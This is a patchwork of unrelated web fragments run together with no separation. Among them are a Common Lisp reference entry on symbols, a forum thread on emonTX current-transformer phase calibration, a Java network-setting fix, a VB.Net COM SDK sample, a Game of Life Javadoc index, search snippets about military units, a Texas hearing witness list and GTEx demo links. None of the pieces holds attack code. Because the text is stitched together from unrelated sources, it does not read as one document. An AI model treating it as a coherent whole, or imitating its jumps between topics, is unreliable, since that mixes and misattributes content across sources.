Next: keyword, Previous: Symbols Dictionary, Up: Symbols Dictionary
Symbols are used for their object identity to name various entities in Common Lisp, including (but not limited to) linguistic entities such as variables and functions.
Symbols can be collected together into packages. A symbol is said to be interned in a package if it is accessible in that package; the same symbol can be interned in more than one package. If a symbol is not interned in any package, it is called uninterned.
An interned symbol is uniquely identifiable by its name from any package in which it is accessible.
Symbols have the following attributes. For historically reasons, these are sometimes referred to as cells, although the actual internal representation of symbols and their attributes is implementation-dependent.
The name of a symbol is a string used to identify the symbol. Every symbol has a name,
and the consequences are undefined if that name is altered.
The name is used as part of the external, printed representation of the symbol; see Character Syntax. The function symbol-name returns the name of a given symbol.
A symbol may have any character in its name.
The object in this cell is called the home package of the symbol. If the home package is nil, the symbol is sometimes said to have no home package.
When a symbol is first created, it has no home package. When it is first interned, the package in which it is initially interned becomes its home package. The home package of a symbol can be accessed by using the function symbol-package.
If a symbol is uninterned from the package which is its home package, its home package is set to nil. Depending on whether there is another package in which the symbol is interned, the symbol might or might not really be an uninterned symbol. A symbol with no home package is therefore called apparently uninterned.
The consequences are undefined if an attempt is made to alter the home package of a symbol external in the COMMON-LISP package or the KEYWORD package.
The property list of a symbol provides a mechanism for associating named attributes with that symbol. The operations for adding and removing entries are destructive to the property list. Common Lisp provides operators both for direct manipulation of property list objects (e.g., see getf, remf, and symbol-plist) and for implicit manipulation of a symbol’s property list by reference to the symbol (e.g., see get and remprop). The property list associated with a fresh symbol is initially null.
If a symbol has a value attribute, it is said to be bound, and that fact can be detected by the function boundp. The object contained in the value cell of a bound symbol is the value of the global variable named by that symbol, and can be accessed by the function symbol-value. A symbol can be made to be unbound by the function makunbound.
The consequences are undefined if an attempt is made to change the value of a symbol that names a constant variable, or to make such a symbol be unbound.
If a symbol has a function attribute, it is said to be fbound, and that fact can be detected by the function fboundp. If the symbol is the name of a function in the global environment, the function cell contains the function, and can be accessed by the function symbol-function. If the symbol is the name of either a macro in the global environment (see macro-function) or a special operator (see special-operator-p), the symbol is fbound, and can be accessed by the function symbol-function, but the object which the function cell contains is of implementation-dependent type and purpose. A symbol can be made to be funbound by the function fmakunbound.
The consequences are undefined if an attempt is made to change the functional value of a symbol that names a special form.
Operations on a symbol’s value cell and function cell are sometimes described in terms of their effect on the symbol itself, but the user should keep in mind that there is an intimate relationship between the contents of those cells and the global variable or global function definition, respectively.
Symbols are used as identifiers for lexical variables and lexical function definitions, but in that role, only their object identity is significant. Common Lisp provides no operation on a symbol that can have any effect on a lexical variable or on a lexical function definition.
Symbols as Tokens, Potential Numbers as Tokens, Printing Symbols
Next: keyword, Previous: Symbols Dictionary, Up: Symbols Dictionary


I got
Java error: java.net.MalformedURLException: unknown protocol: socket
error when I ran the scottrade Streaming quotes jnlp. Took me some googling to find the answer
Run “jcontrol” from command line
General > Network Setting > Direct Connection
http://safeweb.tucloud.com/entries/268994-java-error-java-net-malformedurlexception-unknown-protocol-socket
Thankyou thankyou thankyou.
Yesterday I was getting error 504 and today I got the error above. I was Googling the new error and presto, I found your comments. This fixes both errors for me.
Cheers
You are amazing! This totally worked!!
Many thanks!
Thank you so much, took a while before finding this page.


{{ define "title" }}SecLearn{{ end }} {{ define "content" }}
Learning Security has never been easier.
One of the key things about security is that you gotta keep learning, since there are always new things that you didn't know about. SecLearn is our new internal security training system. It allows you to add new security concepts to your To-Learn list and go find info about them.
Equipped with state of the art Word Embeddings algorithm Word2Vec, for every concept you learn, SecLearn recommends related concepts to you so that you can actually discover things you didn't learn about.


BC Mapping Source
This structure represents the following BC mapping definition:
oncology.BreastCancerPresenceStatement maps to http://hl7.org/fhir/us/core/StructureDefinition/us-core-condition: ConditionTopic.CodeableConcept maps to code ConditionTopic.Category maps to category ConditionPresenceContext.ClinicalStatus maps to clinicalStatus ConditionPresenceContext.VerificationStatus maps to verificationStatus ConditionPresenceContext.Onset maps to onset[x] ConditionPresenceContext.Abatement maps to abatement[x] constrain bodySite to 0..0 ConditionPresenceContext.Severity maps to severity Stage maps to stage Stage.CodeableConcept maps to stage.summary Stage.StageDetail maps to stage.assessment


KC3改 failed to load. Here are possible reasons why:
- Cookie settings does not allow localStorage. Make sure you have "Allow local data to be set", and the "Block third-party data" is not checked.
- You are using an incompatible Chromium build, try to use the latest stable Google Chrome.


Hi, I have found a problem with emonTX when I started testing my PV diverting hardware and have written a new version that provides a solution by continuously monitoring 3 CT inputs + voltage. I have been running this for a few weeks now and thought I should post it for others to look at, comment on, suggest improvements and use if they wish to.
When I started to test my PV divert software I found the readings on my emonGLCD were very erratic with the original software.
My PV diverter is fed through the house consumer unit so it was reading house load + divert load on CT1, PV on CT2 and divert load on the third CT3. I changed the emonGLCD to deduct the CT3 from CT1. With steady loads on the divert hardware everything works fine with the original emonTX software. It was when I started to test my SSR based diverter with faster load changes that I noticed that readings from the emonTX were wrong.
The standard emonTX software is written to monitor CT1 for 20 cycles/crossings then moves onto CT2, then CT3. At the end it reports data via the wireless hardware. My test software highlighted that this method of monitoring power is not suitable where PV is being diverted and in my setup just compounded the problem as the divert value measured with CT1 is not the same as measured with CT3. I was just getting large errors in the data.
Moving my divert hardware onto a separate feed from my house would alleviate the problem (expensive) but the only true solution would be to read all 3 CTs at the same time.
The only way to do this though would be have 3 synchronized emonTX devices or to make the emonTX hardware read data faster. I think I have put together a viable solution that just runs the data capture faster by reducing the time analog reads are taken. This still gives over 50 sets of readings per cycle for each CT and tripple that for the voltage values.
The only problem encountered was what to set the voltage phase shift value to for faster read times. I used 1.28 - I don't know if this is correct but it seems to work well. In the original software I never bothered to change it and had no problems with accuracy once calibrated. Can anyone shed some light on what this should be please.
I have just done a calibration check of my PV values over 5 days. From my original calibration done two weeks ago it is within 1% of the PV meter. I measured 84.03 from daily totals PV off my emonGLCD and 83.4 from the PV export meter. Otherwise I have noticed that when less than 500 watts the value is slightly high and for very large values the reading is slightly low when compared to the reading on the export meter and inverter.
Please have a look, use and post comments
Ian
Re: New emonTX continous monitor software 3CT & Voltage
MartinR's PLL sketch does this - but genuinely continuously, meaning that all (in his case two c.t's) and the voltage are each sampled in sequence. You can find his sketch here: Solar PV power diversion with emonTx, emonGLCD and temperature measurement
And an earlier post giving a bit more details on the phase-locked loop here: Phase-locking emonTx to the 50Hz supply
It should be quite easy to extend that to 3 c.t's, Dan Woodie is doing that now http://openenergymonitor.org/emon/node/2624
Martin has also done 3 synchronised emonTx's, but for monitoring only on a 3-phase supply: Full-fat 3-phase monitor.
You can read up on the phasecal algorithm in Building Blocks.
Re: New emonTX continous monitor software 3CT & Voltage
Thanks Robert
I've had a quick look at those and they contain some low level code that I don't fully understand to control the transmission of data using RF12.
The sequence of reading data and applying voltage offsets also seems a bit confusing and follows
Wait for time interupt - voltage read initiated
ADC interrupt for voltage - start CT1 read
Process voltage reading - calcs include power calcs for the previous CT1 and CT2 readings
ADC interrupt for CT1 - start CT2 reading
Process CT1 data
ADC interrupt for CT2
Process CT2 data
Wait for next timer interrupt
This seems confusing to me or do the CT1/2 readings really lag the voltage by that much?
Ian
Re: New emonTX continous monitor software 3CT & Voltage
The ADC is semi-autonomous and it is allowed to free run. When it completes a measurement, it throws an interrupt, switches the multiplexer to the next channel and carries on with the next reading, in the meantime the main loop processes the result and then hangs about doing nothing particularly useful while it waits for the next conversion result. But you need to tell the ADC what it's going to switch the multiplexer to before it's finished the conversion it is on, hence the next instruction to the multiplexer appears to be one step ahead of processing the result.
This actually goes a lot quicker than the standard library routines because in that mode, the ADC completes its conversion, returns to the library routine called by the sketch, the answer is processed, then it send the instruction for the next conversion, the ADC goes away and does it, etc.
The low level code for the RFM12B is doing exactly what is needed and nothing more. It is simply more efficient than the library routines, which have to cater for every possible situation.
It works well. In Dan's thread, Martin reports that he tried Dan's code with 3 c.t's and at 60 Hz, and there was plenty of time to spare, but that was with 25 samples per cycle I believe. Martin's original works with 2 c.t's and 50 samples at 50 Hz,
Re: New emonTX continous monitor software 3CT & Voltage
I am currently running Martin's code in a 120 V / 60 Hz environment, but with only 2 CTs running. As I posted in my original thread asking for assistance, I could not get it running with 3 CTs, but that was probably more due to errors in my code additions than any fundamental hardware limitation that cannot be overcome. I am currently running a 3+ day benchmark on this code versus my electric utility meter and a Fluke 3 phase power analyzer. I then plan on running a similar benchmark on the standard sketch and some other variants, with intentions to share all that I learn here in the forums.
Dan
Re: New emonTX continous monitor software 3CT & Voltage
ianjm wrote: This seems confusing to me or do the CT1/2 readings really lag the voltage by that much?
The way this works is that the ADC goes through the repeated sequence Volts,CT1,CT2,Volts etc. After each voltage reading the sketch determines what the voltage would have been at the current sampling points by linear interpolation between 2 consecutive voltage samples. The interpolation fraction is made up from a fixed delay due to the ADC read sequence, plus a delay dependent on the relative phase shift of the current and voltage transformers.
mad_dad (Paul) is also looking at a 3-CT solution on the main thread so you (and Dan) might want to look at what he's done.
Oh, and thanks for all your support Robert.
Re: New emonTX continous monitor software 3CT & Voltage
Thanks everyone - theres some really good work being done that I have missed
My PV diverter using an SSR and should be on a PPL as its very sensitive to late control pulses and misses a cycle - I will convert to interrupt driven.
I have had a look at Martin's PPL code and the building blocks and still cannot see how the phase correction number is derived.
Martin In your PPL version where the phase shift is calculated behind the current voltage reading the phase shift is I1PHASESHIFT (((5+63)*256)/400) and I2PHASESHIFT (((5+127)*256)/400)
These work out as the last voltage + 0.17 & 0.33 the difference between the last and current voltage difference
why 5
if the ADC is running at around 60 micro seconds then 63 & 127 means your board at 63.5 is that correct?
In my sketch I read the voltage before the current and use 1.2 to move the voltage forward
In the Mk2i_PV_Router_rev5b sketch a value of 1 is used - no phase movement (this sketch is using standard ADC timings)
Does anyone know how I should calculate values for the standard CTs from openenergyorg shop
Thanks
Ian
Re: New emonTX continous monitor software 3CT & Voltage
There are two "phase" shifts to consider. The one is actually a time shift between readings, the other is the difference between the phase shifts of the v.t. and c.t. Those two are variable, depending on the voltage and current respectively. You can read up about those in the reports on the two sensors. So yes, if you can say at what voltage and current you want the correction to be accurate, you can see what the time difference needs to be that will give you the best correction. At any other value, it will be wrong. However, Robin has found, given that most domestic loads that draw a substantial power are very close to unity power factor anyway, that the phase correction in practice makes little difference to the operation of his diverter. If you are interested in measuring smaller loads that can have a very poor power factor, then the phase correction assumes a greater importance.
I should point out that both Martin's and Robin's designs only use the signal from one c.t. on the common grid connection to control the dump load. Martin's uses the second purely for indication.
Re: New emonTX continous monitor software 3CT & Voltage
I did determine (or best guess) that the equation you listed:
I1PHASESHIFT (((5+63)*256)/400) and I2PHASESHIFT (((5+127)*256)/400)
the 400 value represents the time in microseconds between sampling points. The 5 represents the amount of phase lag inherent between the two transformers (I would assume that is mostly hardware dependent) and the 127 is the timing difference the sampling times. Martin and others please correct me if I am wrong. So changing to the 60 Hz frequency I had to adjust the 400 in the denomenator to 333, as my samples are closer together at 60 Hz.
Dan
Re: New emonTX continous monitor software 3CT & Voltage
Ian,
The values of 5 for I1LEAD and I2LEAD are just placeholders, they should be replaced by the actual number of microseconds that current leads voltage by at the inputs to the ATmega328. The PHASECAL value of 1.7 used in the standard sketches is equivalent to an IxLEAD value of about 158, so that might be a good start. Maybe I should have used that as the default.
if the ADC is running at around 60 micro seconds then 63 & 127 means your board at 63.5 is that correct?
I'm not quite sure what you mean by that but 63.5 microseconds is the delay between consecutive ADC samples so the third CD will require a fixed delay of 190.
The sum of IxLEAD plus the fixed delay can't exceed 400 microseconds so there may be an issue with the third CT if IxLEAD exceeds 210 microseconds.
-martin
Re: New emonTX continous monitor software 3CT & Voltage
Dan,
You posted while I was typing.
I'm not sure 333 is the correct value for your sketch. You have 25 samples in 16.666r milliseconds so I make that 666 microseconds between samples?
Re: New emonTX continous monitor software 3CT & Voltage
Surely 25 samples in 16.666 milliseconds, so 666 microseconds per set of 4 samples?
Re: New emonTX continous monitor software 3CT & Voltage
Thanks for info Robert
I've now had a good read of the Yhdc SCT-013-000 Current Transformer page
Looking at the SCT-013-000 CT with a burden resister of 18 ohms it looks like a 2 degree leading shift for higher currents and up to 4 degrees at lower currents. With 1 degree arc at 50Hz being 20000/360 = 55.5 µs
2º to 4° is 111 to 222µs - on standard reads of about 113µs that's a lag of 1 or 2 sample periods.
Running the ADC faster at PS_64 gives about 60µs per reading that is nearly 2 to 4 sample periods!
Is this maths correct?
Re: New emonTX continous monitor software 3CT & Voltage
The absolute phase shift is not important Ian, what matters is the difference in phase shift between voltage and current.
Also, the sample period for a complete set of results (i.e the time between voltage samples) is around 400µs so the phase difference is usually less than that and that's what's important if you are going to interpolate between voltage samples.
Re: New emonTX continous monitor software 3CT & Voltage
Martin,
The math I used was this:
For a 50 Hz mains and 50 samples per cycle:
For a 60 Hz mains and still 50 samples per cycle:
So, higher mains frequency while holding the samples per wave to 50 leads to a shorter interval between sampling interrupts. It made sense at the time. I left the phase error of the CTs at the 5 microseconds you had in the code since I didn't believe my alternate CTs to be that different. I do not have the equipment to accurately measure that but it seemed to be OK on the standard sketch. Let me know if you think I made any errors here. Thanks.
Dan
Re: New emonTX continous monitor software 3CT & Voltage
Thanks Martin
I've now read the Mascot adaptor page and from my experience it fluctuates between low 230 to low 240 - from the graph of voltage against lead that would seem to be just above 4 to just less than 5º lead on the voltage.
Adjusting this with the CT lead of between 2 and 4 the combined spans worst case high voltage + high current (5 & 2) net 3 (voltage leading the current) and best of low voltage + low current (4 & 4) in phase.
Pitching a middle ground of 1.5 gives about 83µs of voltage leading current. Do you think this is reasonable assumption?
Ian
Re: New emonTX continous monitor software 3CT & Voltage
Dan,
Your maths is correct but in the sketch that you posted you are using 25 samples/cycle...
#define NUMSAMPLES 25 // number of times to sample each 50Hz cycle
...that's what Robert and I were responding to. If you're running with 50 samples and 3 CTs in a 16ms cycle then you are doing much more per cycle than my code so you need to make sure that you're not running out of time anywhere.
Ian,
There's nothing wrong with your reasoning and 83µs is certainly within the range I have seen. It may not be the optimum value but it's probably close enough.
-martin
Re: New emonTX continous monitor software 3CT & Voltage
Thanks Martin
You said "It may not be the optimum value but it's probably close enough"
Could you suggest a better value for general use please?
I can see now that for some CTs it will be possible to use a better value - A CT measuring my immersion circuit will always have full cycles at a fairly constant current so it should be easy to set a better phase adjustment value around the mid point of voltage fluctuations.
The house CT is difficult as its low except when a heavy usage appliance is switched on. Is it possible to cater for this?
Re: New emonTX continous monitor software 3CT & Voltage
Ian,
I think you're expecting too much from an "economy" c.t. Any split-core c.t. will struggle to maintain accuracy over a large range, you could look at the Magnelab range that Robin thinks are better constructed - especially the "revenue" grade. Alternatively, you need to look at a ring core one, which will almost certainly be better in any case, and you can get - for a price - very high precision in that format. (And for obvious reasons - there's no iffy joint in the magnetic path that can introduce a variable air gap.) You'd need a registered sparks to install it for you though, as it would mean breaking your electricity provider's seals to thread the meter tail through it.
But beware - many have a maximum 0.333 V rms output so will only use less than one third of the emonTx's input range.
Re: New emonTX continous monitor software 3CT & Voltage
Thanks Robert
I'm not expecting a budget CT to be supper accurate and my question wasn't about that.
I am more concerned at getting the correct value for phase shift or now as I have learnt more the best compromise value.
I now realise that my 3CT sketch is using the wrong phase shift value by a large measure - it is however accurate at measuring daily KWh totals for my PV due to its calibration - it however shows low at higher values and too high for low values.
Ian
Re: New emonTX continous monitor software 3CT & Voltage
my question wasn't about that. Well, I think it was, at least in part, because phase error is an integral part of the transformer accuracy specification, and a revenue grade c.t. will show a much smaller and nearly constant phase error.
Your problem now looks more like the familiar problem of noise pickup in the c.t. inputs rather than a problem with the c.t. itself. It's been known for a long time that there are two effects - mains voltage pickup that can be minimised in a single phase installation by measuring the neutral rather than the line, and digital noise from the processor itself. Unfortunately, there is little that can be done about that, though extra decoupling on the 3.3 V rail might help. Unfortunately because it is noise and uncorrelated with the input signal, it appears as a current with a random phase, usually manifesting itself as a power error of a few watts and a somewhat larger VA error.
In addition, there are systemic errors in the A-D conversion process, see:
http://openenergymonitor.org/emon/buildingblocks/measurement-implication...
http://openenergymonitor.org/emon/emontx/accuracy
http://openenergymonitor.org/emon/node/1385
http://openenergymonitor.org/emon/node/2311
Trystan did some wonderful animated pages demonstrating how the errors vary here: http://vis.openenergymonitor.org/dev/adc/noiseless, here: http://vis.openenergymonitor.org/dev/adc/noisy and here: http://vis.openenergymonitor.org/dev/adc/noise.mp4.
Re: New emonTX continous monitor software 3CT & Voltage
Thanks for the info Robert
Sorry about the delay I went live on PV diverting to my HW tank at about 5:30 pm on Friday - very pleased with how its working.
Saturday (mixed sun and cloud) I had over 9kWh diverted, I wasn't expecting that much-:)
Today is very cloudy but even so its diverting with low surplus available.. Red light seems to be solid on my meter so my divert sketch looks as though its working well.
I had read about keeping all CTs on the neutral line and all mine are. The animated pages look nice - I haven't quite worked out what they are trying to tell me.
I still cannot see how a phase shift value above 1 can be achieved when both CT and AC adaptors are giving +ve phase shifts and the voltage shift is larger. I will draw a diagram and someone can tell me if I am not thinking down the correct lines.
Ian


Skeleton HTML5
First I have started to build the skeleton of my web page by using HTML.On the picture below you can see my "header" and "nav" section.
First I have started to build the skeleton of my web page by using HTML.On the picture below you can see my "header" and "nav" section.


Handwritten Text Recognition Using Deep Learning(CNN & RNN)
Upload the Handwritten Text Image here. We will identify the text and will provide you with a textual output which you can use accordingly.
Assistant Professor
Bharati Vidyapeeth University
Linkedin
Software Developer
<EMAIL_ADDRESS>1814110673
<EMAIL_ADDRESS>1714110136
Data Scientist
<EMAIL_ADDRESS>1714110104


Caveats and Limitations
Limitations
The following limitations apply when using TagSLAM:
- No duplicate tag ids are allowed! A tag can only exist in the world once. You must make sure that there are no duplicate tags anywhere.
- To use odometry with TagSLAM, the odometry updates should preferably
be synchronized with the tag detections, for example the odometry
should be computed from the same camera that does the camera
recording. Starting release 2.1 TagSLAM accepts approximately
synced data as well. This means that TagSLAM first filters the data
approximately by running a filter identical to the ROS
ApproximateTime
synchronizer. The
frequency of the slowest sensor will determine the frequency of
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dropped. If you want to have higher frequency data, you need to insert
for instance empty tag detection messages. Note that by default the
use_approximate_sync
feature is disabled, so if you feed in unsynchronized data all of it will be dropped. - No mixing of AprilTag families! For a single data set, all tags must be of the same family
- All tags must have the same number of border bits.
- Real-time usage is limited to situations where either the graph is so small that it can be solved quickly (maybe a thousand frames maximum!), or the pose of the tags can be determined beforehand, offline, with a “mapping run” that builds the full graph, and then stores the optimized tag poses for a subsequent real-time run. To get real-time performance, use the “amnesia” feature such that old information gets thrown away and the graph stays small.
Note: restrictions 3. and 4. are due to the tag detector, and if fixed there, TagSLAM should be able to handle it.


--- layout: post title: A simple COM SDK VB.Net application categories: [] tags: dotnet-sdk com-sdk status: publish type: post published: true meta: {} ---
In a previous post I demonstrated a simple .Net SDK program, here I will look at a simple COM SDK program.
Here is the code I ended up with in the video.
Sub Main() Dim database As New TRIMSDK.Database Dim record As TRIMSDK.Record = Nothing Dim container As TRIMSDK.Record = Nothing Try database.Id = "H1" database.WorkgroupServerName = "local" database.Connect() record = database.GetRecord(9000000001) container = database.GetRecord("REC_267") record.AltContainer = container record.Save() Finally If database IsNot Nothing And database.IsConnected Then database.Disconnect() System.Runtime.InteropServices.Marshal.ReleaseComObject(database) If record IsNot Nothing Then System.Runtime.InteropServices.Marshal.ReleaseComObject(record) End If If container IsNot Nothing Then System.Runtime.InteropServices.Marshal.ReleaseComObject(container) End If End If End Try End Sub


When the visiblity (Is visible) of items is Yes , it will show up in the landing page.
Is visible
If two items are visible, then the latest (Updated at) item will be displayed.
Updated at


Aw Snap! The spiders found a new room.
I think my website got infected With Corona. Please try again later, check the URL, or submit an issue to the Github code.


{%extends 'all-images/base.html'%} {% block content %}
Name:{{image.image_name}}
Description: {{image.image_description}}
Location: {{image.location}}
Category: {{image.category}}


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Mobile Site You Are Here > Home > Encyclopedia of Players > B Listing > Johnny Bassler . Year, Age, Tm, Lg, G, PA, AB, R, H, 2B, 3B, HR, RBI, SB, CS, BB, SO, BA, OBP, SLG, OPS . DET (7 yrs), 767, 2768, 2240, 245, 690, 98, 15, 1, 312, 10, 6, 422, 73 .308 .420 .367 .786, 106, 821, 9, 92 . 0.81 Career Shares ( 304th) .
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MMString:LoadString id="insertbar/linebreak" - Tim Yoho's Homepage
Mar 6, 2013 . In 2004 I retired from Lock Haven University of PA after 30 years as a Professor of Biology. . to the 7th PsyOp Group was the 4th Mobile Radio Broadcasting Company . the first advisors in Vietnam including Lt. Richard Jump (15th Det. . The BN and the 301st TPC(ABN) and the 304th TPC were in the first .
http://www.timyoho.com/bvapage/bvahomepage.htm
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War in the Pacific NHP: Liberation - Guam Remembers
Detachment ARGUS 17 (Shore-based Fighter Director Unit) Detachment . 304th Field Artillery Battalion Company B . Pennsylvania (BB-38) . Mobile (CL- 63) .
http://www.nps.gov/npshistory/online_books/npswapa/extContent/Lib/liberation15.htm
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Deployments - Gulf War - Operation Northern Watch - Army Units ...
5th Mobile Army Surgical Hospital, Fort Bragg, NC . 57th Medical Detachment ( Air Ambulance), Fort Bragg, NC . 304th Civil Affairs Group, Reserve .
http://www.pdhealth.mil/deployments/northern_watch/army_units.asp
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301st Area Support Group
May 7, 2011 . Fort Totten NY; 408th Personnel Services BN Det 3. Philadelphia PA; 140th Quartermaster Company Fort Totten NY; 146th Quartermaster .
http://www.globalsecurity.org/military/agency/army/301asg.htm
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Woodlawn Cemetery
04/07/1914, PVT C 143 PA VOL INF, Plot: 236, * Allen, Stewart . 01/23/1946, PFC DET 12 AVN HQ AIR BASE SQDN, Plot: 4 3117, bur. 01/28/1946, * . 01/10 /1960, SGT 306 MOBILE ORD REP SHOP ORD DEPT, Plot: H 587, bur. 01/13/ 1960 . 04/29/1961, WAGONER CO A 304TH MACH GUN BN 77TH, Plot: D 154, bur.
http://www.rootsweb.ancestry.com/~macayer/woodlawn_cemetery.htm
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Organizations and Activities - MyBaseGuide.com
Nov 8, 2012 . Download our mobile app now! . Headquarters and Headquarters Company, the 18th Military Police Detachment, and the 62nd Army Band.
http://www.mybaseguide.com/article/army/ft-huachuca/385/Organizations-and-Activities
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army_units_53-367
Allotted: 24 May 1946 to NG Pennsylvania NG. 104th. Radar Calibration Detachment. Signal Radar Maintenance Unit Campaigns & Foreign Service Awards: .
http://www.mobileradar.org/army_units_53_367.html
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Forward Operating Base Lightning Archives » Clarksville, TN Online
Feb 27, 2013 . 115th Mobile Public Affairs Detachment . snow, ice and a 4:00am kickoff, members of the Pennsylvania National Guard stationed at Forward . (Photo by U.S. Army Staff Sgt. Troy P. Johnson, 304th Public Affairs Detachment) .
http://www.clarksvilleonline.com/tag/forward-operating-base-lightning/
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Category:United States Army stubs - Wikipedia, the free encyclopedia
. Intelligence Battalion (United States) · 304th Sustainment Brigade (United States) . 40th Military Police Detachment · 410th Support Brigade (United States ) .
http://en.wikipedia.org/wiki/Category:United_States_Army_stubs
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Stb newsletter volume_iii_(1)
Jan 29, 2013 . 8; 304TH MILITARY POLICE The 304th MP BN DET 5 has been on . COMMAND From Pittsburgh, Pennsylvania to Bagram, Afghanistan, the .
http://www.slideshare.net/TriciaVerschage/stb-newsletter-volumeiii1
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Vietnam Medal Data - Cumberland County
May 5, 2005 . 1st Mobile Command Grp, 1883rd COMM SQ. Fahnestock, J. Floyd . AF Adv Tm 6, Det 2. Witmer. George . 304th S&S Co. Gallagher. James .
http://www.ccpa.net/DocumentView.asp?DID=3551


WITNESS LIST Subcommittee Lease of State Water Rights, Int Committee February 11, 2004 - 1:00P Lease of State Water Rights FOR: Bramblett, Kit (Hudspeth County), Sierra Blanca, TX AGAINST: Addington, Bill (El Paso Sierra Club), Sierra Blanca, TX Brown, Mark (Self), San Angelo, TX Davis, Talley (Hudspeth County Underground Water District), Dell City, TX Dean-Walker, Becky Judge (Hudspeth County), Sierra Blanca, TX Jones, Bobby (Self), Dell City, TX Kerr, Crawford (George W. Wilson Inc.), El Paso, TX Lacy, Diane (Davis Mountains Trans-Pacos Heritage Association), Fort Davis, TX Langford, David (Texas Wildlife Association), Comfort, TX Navidomskis, John (Self), Horizon City, TX Ponton, Rod (City of Presidio), Alpine, TX Rangra, Avinash Councilman (City of Alpine), Alpine, TX Remme, Kaare (Self), San Marcos, TX Reyes, Jesus General Manager (El Paso County Water Improvement District), El Paso, TX Shelley, Howard (Skids Inc.), Van Horn, TX Tate, Rick (Self), Marfa, TX ON: Beard, Tom Chair (Far West Texas Water Planning Group), Alpine, TX Blair, Al Engineer (Hudspeth County Underground Water District), Dell City, TX Bramblett, Coll (Self), El Paso, TX Combs, Susan Commissioner (Texas Department of Agriculture), Austin, TX Davidson, Michael (Brewster County Tourism) Finley, Trace Policy Director (General Land Office), Austin, TX Galusha, Marilyn (Guitar Holding Company), Abilene, TX Huffman, Margaret Executive Director (Texas Commission on Environmental Quality), Austin, TX Kelly, Mary (Environmental Defense), Austin, TX Lynch, Laura (Self), Fort Worth, TX Mullican, Bill Deputy Executive Administrator (Texas Water Development Board), Austin, TX Snodgrass, Chris (Self) Registering, but not testifying: Against: Johnson, Russell (Guitar Holding Company), San Antonio, TX King, James (Self), Fort Davis, TX Rascoe, James (Self), Dell City, TX On: Bouma, Brad (Self) Frizell, R. Duane Attorney (Guitar Holding Company), El Paso, TX Garcia, Rudalfo (Self), Marfa, TX Gilbert, Risher (Lynch Family), El Paso, TX Kiehne, Jim (Self) Meadows, Bill Boardmember (Texas Water Development Board), Austin, TX


- GameOfLife - Class in model
-
The GameOfLife class represents the logic behind this implementation of Conway's Game of Life.
- GameOfLife(Board) - Constructor for class model.GameOfLife
-
Sole constructor, sets the parameter board as the current board.
- getBornRules() - Method in class model.GameOfLife
-
Method that returns the current bornRules.
- getBoundingBox() - Method in class model.Board
-
A method that returns the bounding box of the current cell grid.
- getCellsAlive() - Method in class model.Board
-
Method that returns the current cellsAlive count.
- getCellState(int, int) - Method in class model.Board
-
Abstract method for returning a byte value representing the state of a certain cell with coordinates (x,y).
- getCellState(int, int) - Method in class model.DynamicBoard
-
Concrete implementation of getCellState in the Board class.
- getCellState(int, int) - Method in class model.StaticBoard
-
Deprecated.
Concrete implementation of getCellState in the Board class.
- getGenCounter() - Method in class model.GameOfLife
-
Method that returns the current genCounter.
- getHasExpandedLeft() - Method in class model.DynamicBoard
-
Method that returns a boolean representing if the grid has been expanded left, and then sets hasExpandedLeft
to false.
- getHasExpandedUp() - Method in class model.DynamicBoard
-
Method that returns a boolean representing if the grid has been expanded upwards, and then sets hasExpandedUp
to false.
- getHeight() - Method in class model.Board
-
Abstract method for returning an integer representing the height of the current cellGrid.
- getHeight() - Method in class model.DynamicBoard
-
Concrete implementation of getHeight in the Board class.
- getHeight() - Method in class model.StaticBoard
-
Deprecated.
Concrete implementation of getHeight in the Board class.
- getHighestSimilarity(int[][]) - Method in class model.Statistics
-
Method that runs through a nested int array with statistics returning the generation with the
highest probability of a recurring pattern by looking at the similarity measure.
- getInstance() - Static method in class model.ThreadWorker
-
Method that returns the ThreadWorker, allowing other classes to take use of the class.
- getLoadedPattern() - Method in class model.Board
-
Method that returns the current loaded pattern.
- getLoadedPatternBoundingBox() - Method in class model.Board
-
Method that returns the bounding box of the current loaded pattern.
- getMetaData() - Method in class model.FileHandler
-
Method that returns the current metaData.
- getMetaTitle() - Method in class model.FileHandler
-
Method that returns the current metaTitle.
- getNewGenerationCells() - Method in class model.GameOfLife
-
Method that returns the current newGenerationCells 2D-byte-array.
- getNumWorkers() - Method in class model.ThreadWorker
-
Method that returns the current number of threads in the threadPool.
- getPlayBoard() - Method in class model.GameOfLife
-
Method that returns the current playBoard.
- getRuleDescription() - Method in class model.GameOfLife
-
Method that returns the current ruleDescription.
- getRuleName() - Method in class model.GameOfLife
-
Method that returns the current ruleName.
- getRuleString() - Method in class model.GameOfLife
-
Method that returns the current ruleString.
- getShutDownStatus() - Method in class model.ThreadWorker
-
Method to check whether or not the ExecutorService has been shut down.
- getStatistics(GameOfLife, int) - Method in class model.Statistics
-
Method to get the statistics data.
- getSumXYCoordinates() - Method in class model.Board
-
A method that returns the sum of all active cells x and y coordinates.
- getSurviveRules() - Method in class model.GameOfLife
-
Method that returns the current surviveRules.
- getThreadIndex() - Method in class model.ThreadWorker
-
Method that returns the current threadIndex and adds 1 to it.
- getWidth() - Method in class model.Board
-
Abstract method for returning an integer representing the width of the current cellGrid.
- getWidth() - Method in class model.DynamicBoard
-
Concrete implementation of getWidth in the Board class.
- getWidth() - Method in class model.StaticBoard
-
Deprecated.
Concrete implementation of getWidth in the Board class.
- GifConstructor - Class in model
-
The GifConstructor class interacts with lieng.GIFWriter and sends all necessary information in order to create
a gif of the current pattern or board.
- GifConstructor(GameOfLife, int, int, boolean, Color, Color, int) - Constructor for class model.GifConstructor
-
Sole constructor for a GifConstructor object.
- gifFPSAlert() - Static method in class controller.PopUpAlerts
-
Creates a warning when trying to set the fps of a gif above 50, telling the user to select a valid value.
- gifFramesAlert() - Static method in class controller.PopUpAlerts
-
Creates a warning when trying to set the number of iterations of a gif to either 0 or above 400, telling the user
to select a valid value.
- gifSimilarityAlert(int) - Static method in class controller.PopUpAlerts
-
Creates a popup when trying to save a gif, and the statistics have identified a high probability of a repeating
pattern.
- gridClick() - Method in class controller.MainWindowController
-
Method used to toggle the grid on of off.


This section includes more detailed information on how to configure the install template for DotNetNuke.
1. .
Back to Welcome page.


GTEx Visualization Demos
Gene Expression
GTEx Expression Heatmap for top expressed genes
GTEx Expression Heatmap for a query gene list
GTEx Transcript Browser
GTEx Expression Boxplots
GTEx Gene Expression Violin Plot
Gene Regulation and eQTLs
GTEx eQTL Violin plot
GTEx eQTL Dashboard
GTEx Gene-eQTL Visualizer (old, no longer maintained)
GTEx Gene-eQTL Visualizer V2(ES6)
Rendering Random Data using the GTExViz library
Heatmap
Heatmap with dendrograms
Grouped Violin Plot
Generic Transcript Structure Rendering
Bubblemap
LD Plot


Section 2.15 Braille Options Menu
Skills Addressed in this Lesson:
